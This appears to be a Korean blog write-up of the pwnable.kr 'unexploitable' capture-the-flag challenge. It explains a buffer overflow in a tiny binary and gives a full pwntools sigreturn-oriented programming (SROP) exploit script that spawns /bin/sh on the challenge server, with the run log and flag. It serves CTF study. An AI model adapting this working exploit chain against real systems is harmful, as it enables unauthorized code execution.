콘텐츠로 건너뛰기

unexploitable

Description

I don’t think this is exploitable bug. do you agree?

(task is patched. unintended easy solutions will not work from now :P)

ssh [email protected] -p2222 (pw:guest)


checksec

seo@seo:~/Documents/pwnable.kr/unexploitable$ checksec ./unexploitable
[*] '/home/seo/Documents/pwnable.kr/unexploitable/unexploitable'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Decompiled-src

main

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[16]; // [rsp+0h] [rbp-10h] BYREF

  sleep(3u);
  return read(0, buf, 0x50FuLL);
}

16바이트 크기의 buf에 read 함수를 통해 0x50f만큼 넘치게 입력받으므로,
버퍼 오버플로우가 발생한다.


Solution

쉘을 획득할 수 있는 쓸만한 rop 가젯들이 적기 때문에
SigReturn-Oriented Programming 기법을 사용한다.

rax 레지스터값을 SYS_rt_sigreturn 시스템콜 번호인 15로 컨트롤하기 위해 아래 가젯를 응용한다.

gdb-peda$ disas main
Dump of assembler code for function main:
...
   0x000000000040055b <+23>:    lea    rax,[rbp-0x10]
   0x000000000040055f <+27>:    mov    edx,0x50f
   0x0000000000400564 <+32>:    mov    rsi,rax
   0x0000000000400567 <+35>:    mov    edi,0x0
   0x000000000040056c <+40>:    mov    eax,0x0
   0x0000000000400571 <+45>:    call   0x400430 <read@plt>
   0x0000000000400576 <+50>:    leave
   0x0000000000400577 <+51>:    ret

1) read(0, (void *)(0x601068), 0x50FuLL);
16바이트만큼 더미로 채우고,
rbp를 0x601078(=mem_region)으로 하여 0x601068 주소에 데이터를 쓰도록 만든다.

# read(0, (void *)(mem_region-0x10), 0x50FuLL);
# read(0, (void *)(0x601068), 0x50FuLL);
payload = b'A'*16
payload += p64(mem_region)
payload += p64(main_lea_read)
p.sendline(payload)
sleep(0.5)

2) 이제 0x601068 지점에 데이터를 쓰는데,
여기에 “/bin/sh”, srop, 그리고 한번더 read 함수를 호출하게 만드는 페이로드를 작성한다.

# set payload data to 0x601068
# read(0, (void *)(mem_region+0x18), 0x50FuLL);
# read(0, (void *)(0x601078), 0x50FuLL);
payload = bin_sh                #0x601068
payload += b'B'*8               #0x601070
payload += p64(mem_region+0x18) #0x601078 <- read to 0x601078
payload += p64(main_lea_read)   #0x601080 <- control RIP
payload += bytes(frame)         #0x601088 <- srop payload
p.sendline(payload)

# before leave; RBP: 0x601078 --> 0x601090 --> 0x0
# after leave; RSP: 0x601080 --> 0x40055b (main_lea_read)
# after ret; RIP: 0x40055b (<main+23>:       lea    rax,[rbp-0x10])

sleep(0.5)

3) 0x601078 지점에 15바이트만큼 데이터를 쓰는데,
srop 페이로드는 유지한채로 이제 RIP가 syscall 주소로 향하게끔 만들면 된다.

# make rax to 15 using read
payload = p64(syscall)          #0x601078
payload += bytes(frame)[:6] # keep frame, make rax to 15 (SYS_rt_sigreturn)
p.sendline(payload)

# before leave; RBP: 0x601070
# after leave; RSP: 0x601078 --> 0x400560 (syscall)
# after ret; RIP: 0x400560 (<main+28>:       syscall)

p.interactive()

solve.py

from pwn import *
#context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')

p = process("./unexploitable")
s = ssh('unexploitable', 'pwnable.kr', 2222, 'guest')
p = s.process(executable="./unexploitable")
e = ELF('./unexploitable')

bin_sh = b"/bin/sh\x00"
mem_region = e.bss()+0x50 #0x601078
print(f"mem_region: {hex(mem_region)}")
main_lea_read = e.symbols['main'] + 0x17
print(f"main_lea_read: {hex(main_lea_read)}")
syscall = e.symbols['main'] + 0x1c
print(f"syscall: {hex(syscall)}")

########  SROP ########
bin_sh_address = 0x601068
frame = SigreturnFrame(arch="amd64")
frame.rax = 0x3b
frame.rdi = bin_sh_address
frame.rip = syscall
#######################

sleep(3.5)

# read(0, (void *)(mem_region-0x10), 0x50FuLL);
# read(0, (void *)(0x601068), 0x50FuLL);
payload = b'A'*16
payload += p64(mem_region)
payload += p64(main_lea_read)
p.sendline(payload)
sleep(0.5)

# set payload data to 0x601068
# read(0, (void *)(mem_region+0x18), 0x50FuLL);
# read(0, (void *)(0x601078), 0x50FuLL);
payload = bin_sh                #0x601068
payload += b'B'*8               #0x601070
payload += p64(mem_region+0x18) #0x601078 <- read to 0x601078
payload += p64(main_lea_read)   #0x601080 <- control RIP
payload += bytes(frame)         #0x601088 <- srop payload
p.sendline(payload)
# before leave; RBP: 0x601078 --> 0x601090 --> 0x0
# after leave; RSP: 0x601080 --> 0x40055b (main_lea_read)
# after ret; RIP: 0x40055b (<main+23>:       lea    rax,[rbp-0x10])
sleep(0.5)


# make rax to 15 using read
payload = p64(syscall)          #0x601078
payload += bytes(frame)[:6] # keep frame, make rax to 15 (SYS_rt_sigreturn)
p.sendline(payload)
# before leave; RBP: 0x601070
# after leave; RSP: 0x601078 --> 0x400560 (syscall)
# after ret; RIP: 0x400560 (<main+28>:       syscall)

p.interactive()

Result

seo@seo:~/Documents/pwnable.kr/unexploitable$ python3 solve2.py
[+] Starting local process './unexploitable': pid 29716
[+] Connecting to pwnable.kr on port 2222: Done
[*] [email protected]:
    Distro    Ubuntu 16.04
    OS:       linux
    Arch:     amd64
    Version:  4.4.179
    ASLR:     Enabled
[+] Starting remote process bytearray(b'./unexploitable') on pwnable.kr: pid 210214
[*] '/home/seo/Documents/pwnable.kr/unexploitable/unexploitable'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
mem_region: 0x601078
main_lea_read: 0x40055b
syscall: 0x400560
[*] Switching to interactive mode
$ $ ls
flag  unexploitable  unexploitable.c
$ $ cat flag
sigreturn rop..? not a secret technique anymore!!
$ $
[*] Interrupted
[*] Stopped process './unexploitable' (pid 29716)
태그:

답글 남기기